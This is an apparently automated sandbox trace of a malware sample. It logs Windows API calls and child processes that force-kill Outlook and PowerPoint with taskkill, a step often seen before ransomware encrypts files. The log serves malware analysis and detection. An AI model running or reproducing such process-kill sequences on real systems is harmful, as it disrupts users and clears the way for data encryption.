	[0046.004] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0046.004] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0046.004] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0046.004] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0046.004] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0046.004] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0046.004] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0046.004] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0046.004] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0046.004] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0046.004] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0046.004] GetProcessHeap () returned 0x570000
	[0046.004] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x570a10 | out: hHeap=0x570000) returned 1
	[0046.004] GetProcessHeap () returned 0x570000
	[0046.004] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xa) returned 0x57fee0
	[0046.004] lstrcmpW (lpString1="\\taskkill.exe", lpString2="\\XCOPY.EXE") returned -1
	[0046.006] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\taskkill.exe", lpCommandLine="taskkill  /f /im outlook.exe ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x38f368*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="taskkill  /f /im outlook.exe ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x38f3b4 | out: lpCommandLine="taskkill  /f /im outlook.exe ", lpProcessInformation=0x38f3b4*(hProcess=0x78, hThread=0x74, dwProcessId=0xbf0, dwThreadId=0xbe8)) returned 1
	[0046.011] CloseHandle (hObject=0x74) returned 1
	[0046.011] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0046.011] GetProcessHeap () returned 0x570000
	[0046.011] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x585ed0 | out: hHeap=0x570000) returned 1
	[0046.011] GetEnvironmentStringsW () returned 0x594a48*
	[0046.011] GetProcessHeap () returned 0x570000
	[0046.011] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xb36) returned 0x584090
	[0046.011] FreeEnvironmentStringsW (penv=0x594a48) returned 1
	[0046.011] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0046.287] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x38f2a8 | out: lpExitCode=0x38f2a8*=0x80) returned 1
	[0046.287] CloseHandle (hObject=0x78) returned 1
	[0046.287] _vsnwprintf (in: _Buffer=0x38f3f0, _BufferCount=0x13, _Format="%08X", _ArgList=0x38f2b4 | out: _Buffer="00000080") returned 8
	[0046.287] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1
	[0046.287] GetProcessHeap () returned 0x570000
	[0046.287] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x584090 | out: hHeap=0x570000) returned 1
	[0046.287] GetEnvironmentStringsW () returned 0x584090*
	[0046.287] GetProcessHeap () returned 0x570000
	[0046.288] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xb5c) returned 0x585ed0
	[0046.288] FreeEnvironmentStringsW (penv=0x584090) returned 1
	[0046.288] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0046.288] GetProcessHeap () returned 0x570000
	[0046.288] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x585ed0 | out: hHeap=0x570000) returned 1
	[0046.288] GetEnvironmentStringsW () returned 0x584090*
	[0046.288] GetProcessHeap () returned 0x570000
	[0046.288] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xb5c) returned 0x585ed0
	[0046.288] FreeEnvironmentStringsW (penv=0x584090) returned 1
	[0046.288] GetProcessHeap () returned 0x570000
	[0046.288] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57fee0 | out: hHeap=0x570000) returned 1
	[0046.288] DeleteProcThreadAttributeList (in: lpAttributeList=0x38f30c | out: lpAttributeList=0x38f30c) 
	[0046.288] _get_osfhandle (_FileHandle=1) returned 0xc0
	[0046.288] SetConsoleMode (hConsoleHandle=0xc0, dwMode=0x0) returned 0
	[0046.288] _get_osfhandle (_FileHandle=1) returned 0xc0
	[0046.288] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x4a0641ac | out: lpMode=0x4a0641ac) returned 0
	[0046.288] _get_osfhandle (_FileHandle=0) returned 0xbc
	[0046.288] GetConsoleMode (in: hConsoleHandle=0xbc, lpMode=0x4a0641b0 | out: lpMode=0x4a0641b0) returned 0
	[0046.288] GetConsoleOutputCP () returned 0x1b5
	[0046.288] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a064260 | out: lpCPInfo=0x4a064260) returned 1
	[0046.288] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0046.289] exit (_Code=128) 

Process:
	id = "63"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\syswow64\\taskkill.exe"
	page_root = "0x48986000"
	os_pid = "0xbf0"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "62"
	os_parent_pid = "0xbf4"
	cmd_line = "taskkill  /f /im outlook.exe "
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 275
	os_tid = 0xbe8


Thread:
	id = 276
	os_tid = 0xb0


Thread:
	id = 277
	os_tid = 0x98c


Thread:
	id = 278
	os_tid = 0x694


Thread:
	id = 279
	os_tid = 0x6b4


Process:
	id = "64"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x49e01000"
	os_pid = "0x640"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xad8"
	cmd_line = "cmd.exe /c \"taskkill /f /im powerpnt.exe \""
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 280
	os_tid = 0x488

	[0046.370] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24ff2c | out: lpSystemTimeAsFileTime=0x24ff2c*(dwLowDateTime=0x1433a80, dwHighDateTime=0x1d52dc5)) 
	[0046.370] GetCurrentProcessId () returned 0x640
	[0046.370] GetCurrentThreadId () returned 0x488
	[0046.370] GetTickCount () returned 0x1bc7b
	[0046.370] QueryPerformanceCounter (in: lpPerformanceCount=0x24ff24 | out: lpPerformanceCount=0x24ff24*=16668035788) returned 1
	[0046.371] GetModuleHandleA (lpModuleName=0x0) returned 0x4a110000
	[0046.371] __set_app_type (_Type=0x1) 
	[0046.371] __p__fmode () returned 0x74eb31f4
	[0046.371] __p__commode () returned 0x74eb31fc
	[0046.372] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a1321a6) returned 0x0
	[0046.372] __getmainargs (in: _Argc=0x4a134238, _Argv=0x4a134240, _Env=0x4a13423c, _DoWildCard=0, _StartInfo=0x4a134140 | out: _Argc=0x4a134238, _Argv=0x4a134240, _Env=0x4a13423c) returned 0
	[0046.372] GetCurrentThreadId () returned 0x488
	[0046.372] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x488) returned 0x60
	[0046.372] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0046.372] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadUILanguage") returned 0x76c4a84f
	[0046.372] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0046.373] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0046.373] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x24febc | out: phkResult=0x24febc*=0x0) returned 0x2
	[0046.373] VirtualQuery (in: lpAddress=0x24fef3, lpBuffer=0x24fe8c, dwLength=0x1c | out: lpBuffer=0x24fe8c*(BaseAddress=0x24f000, AllocationBase=0x150000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0046.373] VirtualQuery (in: lpAddress=0x150000, lpBuffer=0x24fe8c, dwLength=0x1c | out: lpBuffer=0x24fe8c*(BaseAddress=0x150000, AllocationBase=0x150000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0046.373] VirtualQuery (in: lpAddress=0x151000, lpBuffer=0x24fe8c, dwLength=0x1c | out: lpBuffer=0x24fe8c*(BaseAddress=0x151000, AllocationBase=0x150000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0046.373] VirtualQuery (in: lpAddress=0x153000, lpBuffer=0x24fe8c, dwLength=0x1c | out: lpBuffer=0x24fe8c*(BaseAddress=0x153000, AllocationBase=0x150000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0046.373] VirtualQuery (in: lpAddress=0x250000, lpBuffer=0x24fe8c, dwLength=0x1c | out: lpBuffer=0x24fe8c*(BaseAddress=0x250000, AllocationBase=0x250000, AllocationProtect=0x2, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c
	[0046.373] GetConsoleOutputCP () returned 0x1b5
	[0046.373] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a134260 | out: lpCPInfo=0x4a134260) returned 1
	[0046.373] SetConsoleCtrlHandler (HandlerRoutine=0x4a12e72a, Add=1) returned 1
	[0046.373] _get_osfhandle (_FileHandle=1) returned 0xbc
	[0046.373] SetConsoleMode (hConsoleHandle=0xbc, dwMode=0x0) returned 0
	[0046.373] _get_osfhandle (_FileHandle=1) returned 0xbc
	[0046.374] GetConsoleMode (in: hConsoleHandle=0xbc, lpMode=0x4a1341ac | out: lpMode=0x4a1341ac) returned 0
	[0046.374] _get_osfhandle (_FileHandle=0) returned 0xb8
	[0046.374] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a1341b0 | out: lpMode=0x4a1341b0) returned 0
	[0046.374] GetEnvironmentStringsW () returned 0x6a2008*
	[0046.374] GetProcessHeap () returned 0x690000
	[0046.374] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0xaca) returned 0x6a2ae0
	[0046.374] FreeEnvironmentStringsW (penv=0x6a2008) returned 1
	[0046.374] GetProcessHeap () returned 0x690000
	[0046.374] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x4) returned 0x6a0c40
	[0046.374] GetEnvironmentStringsW () returned 0x6a2008*
	[0046.374] GetProcessHeap () returned 0x690000
	[0046.374] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0xaca) returned 0x6a35b8
	[0046.374] FreeEnvironmentStringsW (penv=0x6a2008) returned 1
	[0046.374] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x24ee2c | out: phkResult=0x24ee2c*=0x68) returned 0x0
	[0046.375] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x24ee34, lpData=0x24ee38, lpcbData=0x24ee30*=0x1000 | out: lpType=0x24ee34*=0x0, lpData=0x24ee38*=0x0, lpcbData=0x24ee30*=0x1000) returned 0x2
	[0046.375] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x24ee34, lpData=0x24ee38, lpcbData=0x24ee30*=0x1000 | out: lpType=0x24ee34*=0x4, lpData=0x24ee38*=0x1, lpcbData=0x24ee30*=0x4) returned 0x0
	[0046.375] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x24ee34, lpData=0x24ee38, lpcbData=0x24ee30*=0x1000 | out: lpType=0x24ee34*=0x0, lpData=0x24ee38*=0x1, lpcbData=0x24ee30*=0x1000) returned 0x2
	[0046.375] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x24ee34, lpData=0x24ee38, lpcbData=0x24ee30*=0x1000 | out: lpType=0x24ee34*=0x4, lpData=0x24ee38*=0x0, lpcbData=0x24ee30*=0x4) returned 0x0
	[0046.375] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x24ee34, lpData=0x24ee38, lpcbData=0x24ee30*=0x1000 | out: lpType=0x24ee34*=0x4, lpData=0x24ee38*=0x40, lpcbData=0x24ee30*=0x4) returned 0x0
	[0046.375] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x24ee34, lpData=0x24ee38, lpcbData=0x24ee30*=0x1000 | out: lpType=0x24ee34*=0x4, lpData=0x24ee38*=0x40, lpcbData=0x24ee30*=0x4) returned 0x0
	[0046.375] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x24ee34, lpData=0x24ee38, lpcbData=0x24ee30*=0x1000 | out: lpType=0x24ee34*=0x0, lpData=0x24ee38*=0x40, lpcbData=0x24ee30*=0x1000) returned 0x2
	[0046.375] RegCloseKey (hKey=0x68) returned 0x0
	[0046.375] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x24ee2c | out: phkResult=0x24ee2c*=0x68) returned 0x0
	[0046.375] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x24ee34, lpData=0x24ee38, lpcbData=0x24ee30*=0x1000 | out: lpType=0x24ee34*=0x0, lpData=0x24ee38*=0x40, lpcbData=0x24ee30*=0x1000) returned 0x2
	[0046.375] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x24ee34, lpData=0x24ee38, lpcbData=0x24ee30*=0x1000 | out: lpType=0x24ee34*=0x4, lpData=0x24ee38*=0x1, lpcbData=0x24ee30*=0x4) returned 0x0
	[0046.375] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x24ee34, lpData=0x24ee38, lpcbData=0x24ee30*=0x1000 | out: lpType=0x24ee34*=0x0, lpData=0x24ee38*=0x1, lpcbData=0x24ee30*=0x1000) returned 0x2
	[0046.375] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x24ee34, lpData=0x24ee38, lpcbData=0x24ee30*=0x1000 | out: lpType=0x24ee34*=0x4, lpData=0x24ee38*=0x0, lpcbData=0x24ee30*=0x4) returned 0x0
	[0046.375] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x24ee34, lpData=0x24ee38, lpcbData=0x24ee30*=0x1000 | out: lpType=0x24ee34*=0x4, lpData=0x24ee38*=0x9, lpcbData=0x24ee30*=0x4) returned 0x0
	[0046.375] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x24ee34, lpData=0x24ee38, lpcbData=0x24ee30*=0x1000 | out: lpType=0x24ee34*=0x4, lpData=0x24ee38*=0x9, lpcbData=0x24ee30*=0x4) returned 0x0
	[0046.375] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x24ee34, lpData=0x24ee38, lpcbData=0x24ee30*=0x1000 | out: lpType=0x24ee34*=0x0, lpData=0x24ee38*=0x9, lpcbData=0x24ee30*=0x1000) returned 0x2
	[0046.376] RegCloseKey (hKey=0x68) returned 0x0
	[0046.376] time (in: timer=0x0 | out: timer=0x0) returned 0x5d163037
	[0046.376] srand (_Seed=0x5d163037) 
	[0046.376] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im powerpnt.exe \""
	[0046.376] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im powerpnt.exe \""
	[0046.376] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a135260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0046.376] GetProcessHeap () returned 0x690000
	[0046.376] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x210) returned 0x6a2008
	[0046.376] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6a2010, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0046.376] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a140640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0046.376] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a140640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0046.376] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a140640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0046.376] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0046.376] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0046.376] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0046.376] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0046.376] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0046.376] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0046.377] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0046.377] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0046.377] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0046.377] GetProcessHeap () returned 0x690000
	[0046.377] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a2ae0 | out: hHeap=0x690000) returned 1
	[0046.377] GetEnvironmentStringsW () returned 0x6a2220*
	[0046.377] GetProcessHeap () returned 0x690000
	[0046.377] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0xae2) returned 0x6a4b80
	[0046.377] FreeEnvironmentStringsW (penv=0x6a2220) returned 1
	[0046.377] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a140640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0046.377] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a140640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0046.377] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0046.377] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0046.377] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0046.377] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0046.377] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0046.377] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0046.377] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0046.377] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0046.377] GetProcessHeap () returned 0x690000
	[0046.377] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x54) returned 0x6a5670
	[0046.377] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x24fbf8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0046.377] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x24fbf8, lpFilePart=0x24fbf4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x24fbf4*="Desktop") returned 0x25
	[0046.377] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0046.378] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x24f974 | out: lpFindFileData=0x24f974*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x6a1e88
	[0046.378] FindClose (in: hFindFile=0x6a1e88 | out: hFindFile=0x6a1e88) returned 1
	[0046.378] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x24f974 | out: lpFindFileData=0x24f974*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x6a1e88
	[0046.378] FindClose (in: hFindFile=0x6a1e88 | out: hFindFile=0x6a1e88) returned 1
	[0046.378] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
	[0046.378] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x24f974 | out: lpFindFileData=0x24f974*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf321cc00, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xf321cc00, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x6a1e88
	[0046.378] FindClose (in: hFindFile=0x6a1e88 | out: hFindFile=0x6a1e88) returned 1
	[0046.378] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0046.378] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0046.378] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0046.378] GetProcessHeap () returned 0x690000
	[0046.378] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a4b80 | out: hHeap=0x690000) returned 1
	[0046.379] GetEnvironmentStringsW () returned 0x6a4090*
	[0046.379] GetProcessHeap () returned 0x690000
	[0046.379] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0xb36) returned 0x6a5ed0
	[0046.379] FreeEnvironmentStringsW (penv=0x6a4090) returned 1
	[0046.379] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a135260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0046.379] GetProcessHeap () returned 0x690000
	[0046.379] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6a5670 | out: hHeap=0x690000) returned 1
	[0046.379] GetProcessHeap () returned 0x690000
	[0046.379] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x400e) returned 0x6a6a10
	[0046.379] GetProcessHeap () returned 0x690000
	[0046.379] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x4c) returned 0x6a2d60
	[0046.379] GetProcessHeap () returned 0x690000
	[0046.379] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x4008) returned 0x6aaa28
	[0046.380] GetProcessHeap () returned 0x690000
	[0046.380] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x4008) returned 0x6aea38
	[0046.381] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0046.381] GetProcessHeap () returned 0x690000
	[0046.381] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x418) returned 0x6a2db8
	[0046.381] SetErrorMode (uMode=0x0) returned 0x8003
	[0046.382] SetErrorMode (uMode=0x1) returned 0x0
	[0046.382] GetFullPathNameW (in: lpFileName="taskkill \\f \\.", nBufferLength=0x208, lpBuffer=0x6a2dc0, lpFilePart=0x24fb70 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f", lpFilePart=0x24fb70*="f") returned 0x31
	[0046.382] SetErrorMode (uMode=0x8003) returned 0x1
	[0046.382] GetProcessHeap () returned 0x690000
	[0046.382] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6a2db8, Size=0x8e) returned 0x6a2db8
	[0046.382] GetProcessHeap () returned 0x690000
	[0046.382] RtlSizeHeap (HeapHandle=0x690000, Flags=0x0, MemoryPointer=0x6a2db8) returned 0x8e
	[0046.382] NeedCurrentDirectoryForExePathW (ExeName="taskkill \\f \\.") returned 1
	[0046.382] GetProcessHeap () returned 0x690000
	[0046.382] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0x72) returned 0x6b2a60
	[0046.382] GetProcessHeap () returned 0x690000
	[0046.382] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0xd8) returned 0x6a2e50
	[0046.382] GetProcessHeap () returned 0x690000
	[0046.382] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6a2e50, Size=0x72) returned 0x6a2e50
	[0046.382] GetProcessHeap () returned 0x690000
	[0046.382] RtlSizeHeap (HeapHandle=0x690000, Flags=0x0, MemoryPointer=0x6a2e50) returned 0x72
	[0046.382] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a140640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0046.382] GetProcessHeap () returned 0x690000
	[0046.382] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x8, Size=0xe0) returned 0x6a2ed0
	[0046.386] GetProcessHeap () returned 0x690000
	[0046.386] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6a2ed0, Size=0x76) returned 0x6a2ed0
	[0046.386] GetProcessHeap () returned 0x690000
	[0046.386] RtlSizeHeap (HeapHandle=0x690000, Flags=0x0, MemoryPointer=0x6a2ed0) returned 0x76
